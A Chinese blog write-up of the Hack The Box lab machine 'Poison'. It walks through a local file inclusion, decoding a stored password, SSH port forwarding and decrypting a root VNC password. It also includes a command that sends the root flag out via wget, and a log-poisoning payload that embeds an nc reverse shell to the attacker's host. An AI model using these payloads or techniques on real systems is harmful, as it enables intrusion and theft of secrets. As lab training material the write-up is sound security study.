HTB靶机013-Poison-WP

14 篇文章 0 订阅

013-Poison

在这里插入图片描述

靶机IP:

10.10.10.84

Scan

Nmap 快速扫描:

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 10.10.10.84 -F
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 16:41 CST
Nmap scan report for 10.10.10.84
Host is up (0.27s latency).
Not shown: 98 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

Nmap 全端口扫描,结果也是一样。

Web

80端口Web服务访问如图:
在这里插入图片描述

翻译:

用于测试本地 .php 脚本的临时网站。
待测站点:ini.php、info.php、listfiles.php、phpinfo.php

试下输入phpinfo.php,结果如图:
在这里插入图片描述

文件包含

这个链接形式http://10.10.10.84/browse.php?file=phpinfo.php,猜测是否存在文件包含漏洞。

访问/etc/passwd:

在这里插入图片描述

直接包含/home/charix/user.txt/root/root.txt报错,权限错误。

在这里插入图片描述

通过phpinfo查看配置,allow_url_include为off,放弃远程文件包含。

刚才看了phpinfo.php,再看一下其他文件,有个listfiles.php,结果如下:

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt ) 

在这里插入图片描述

包涵下pwdbackup.txt看看

在这里插入图片描述

对这个字符串进行base64解码,多重复几次

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo= 

最后解码了13次得到明文:

Charix!2#4%6&8(0

first shell

通过SSH使用上述密码登录

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ssh charix@10.10.10.84                                 

charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
charix@Poison:~ % ls
secret.zip      user.txt
charix@Poison:~ % cat user.txt 
eaacdfb2d141b72a589233063604209c
charix@Poison:~ % 

通过Python传输secret.zip

charix@Poison:~ % whereis python
python: /usr/local/bin/python /usr/ports/lang/python
charix@Poison:~ % python --version
Python 2.7.14
charix@Poison:~ % python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.14.22 - - [30/Apr/2023 13:26:00] "GET /secret.zip HTTP/1.1" 200 -

同时也上传 linpeas.sh进行信息搜集

charix@Poison:~ % wget http://10.10.14.22/linpeas.sh
charix@Poison:~ % ls -l
total 808
-rw-r--r--  1 charix  charix  776073 Mar 29  2022 linpeas.sh
-rw-r-----  1 root    charix     166 Mar 19  2018 secret.zip
-rw-r-----  1 root    charix      33 Mar 19  2018 user.txt
charix@Poison:~ % chmod +x linpeas.sh 
charix@Poison:~ % ./linpeas.sh > result.txt

解压secret.zip,发现需要密码,使用之前的ssh密码成功解密:

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ unzip secret.zip                       
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret 

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ls -l
总计 68
-rw-r--r-- 1 xavier xavier 58027  4月30日 19:34 result.txt
-r--r--r-- 1 xavier xavier     8 20181月24日 secret
-rw-r--r-- 1 xavier xavier   166 20183月19日 secret.zip

但是发现是乱码,暂时不知道有什么用,暂时搁置。

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret    
��[|Ֆz!  
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ xxd secret        
00000000: bda8 5b7c d596 7a21                      ..[|..z!

在这里插入图片描述

考虑bda85b7cd5967a21可能是MD5,通过hashcat碰撞失败

root shell

查看linpeas的输出结果,寻找提权的方法。

path变量中有/home/charix/bin/,没找到利用方法。

/etc/passwd中除了root用户,还有toor用户,有没有可能用上?

进程中有vnc,寻找利用方法。
在这里插入图片描述

Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

解释一下命令行选项:

  • :1 - 显示编号 1
  • -rfbauth /root/.vnc/passwd - 指定密码认证文件
  • -rfbport 5901 - 连接端口
  • localhost - 本地监听

这里提到了5901端口,再查一遍端口列表信息:

charix@Poison:~ % netstat -anl
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address        Foreign Address         (state)
tcp4       0      0 127.0.0.1.5801       *.*                     LISTEN
tcp4       0      0 127.0.0.1.5901       *.*                     LISTEN
...

在这里插入图片描述

想用netstat -anlp查看具体的进程,但是失败了,不支持-p选项。

sockstat -l进行查看

在这里插入图片描述

SSH端口转发

使用SSH进行端口转发,在Kali上运行:

ssh -L 5801:127.0.0.1:5801 charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

在这里插入图片描述

这里指定-fN,可以让ssh端口转发处于后台

ssh -L 5801:127.0.0.1:5801 -fN charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 -fN charix@10.10.10.84
SSH选项说明:
-C    请求压缩所有数据
-D    动态端口转发 
-f    后台执行SSH指令
-g    允许远程主机连接主机的转发端口
-L    本地转发 
-N    不执行远程命令,处于等待状态(不加-N会直接登录)
-R    远程转发

nmap对本地127.0.0.1的5801/5901端口进行扫描:

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 127.0.0.1 -p5801,5901
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 01:37 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT     STATE SERVICE VERSION
5801/tcp open  http    Bacula http config
5901/tcp open  vnc     VNC (protocol 3.8)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.73 seconds

然后通过VNC进行连接

┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 

在这里插入图片描述

发现需要密码,这个密码应该就是之前secret中的数据。

VNC连接

# 看WP发现,其实可以不解密,直接连接
vncviewer -passwd /root/htb/Poison/secret 127.0.0.1::5901

对secret文件进行解密,bda85b7cd5967a21

github找了个方便易用的:https://github.com/billchaison/VNCDecrypt

echo -n bda85b7cd5967a21 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

在这里插入图片描述

在这个场景下,可以对上述命令进行一个优化:

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d
VNCP@$$!

在这里插入图片描述

然后再通过vnc进行连接:

┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

VNC连接的话,由于网络原因,可能会出现弹窗,然后长时间白屏的情况,耐心等待即可。

在这里插入图片描述

这里面flag不太好复制,最后用了如下方法带出:

root@Poison:~ # wget http://10.10.14.22/`cat /root/root.txt`
716d04b188419cf2bb99d891272361f5

在这里插入图片描述

复盘扩展

包含日志getshell

文件包含漏洞配合日志文件可获取webshell

这里的日志文件位置在/var/log/httpd-access.log,日志记录User-Agent、IP、时间、用户输入等,可以使用如下payload污染日志文件:

GET /browse.php?file=<?php+echo+'test';?> HTTP/1.1
Host: 10.10.10.84
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 8888 >/tmp/f'); ?> Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

然后通过文件包含漏洞包含日志文件,触发PHP代码解析

?file=/var/log/httpd-access.log

这就拿到了webshell。

SSH 远程转发

之前用的方法是SSH本地转发,也可以使用远程转发。

在受害机10.10.10.84上执行如下命令:

$ ssh -fN kali@10.10.14.22 -R 5901:localhost:5901
kali@10.10.14.22's password:

之后也是访问kali的本地5901端口。

参考文章

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值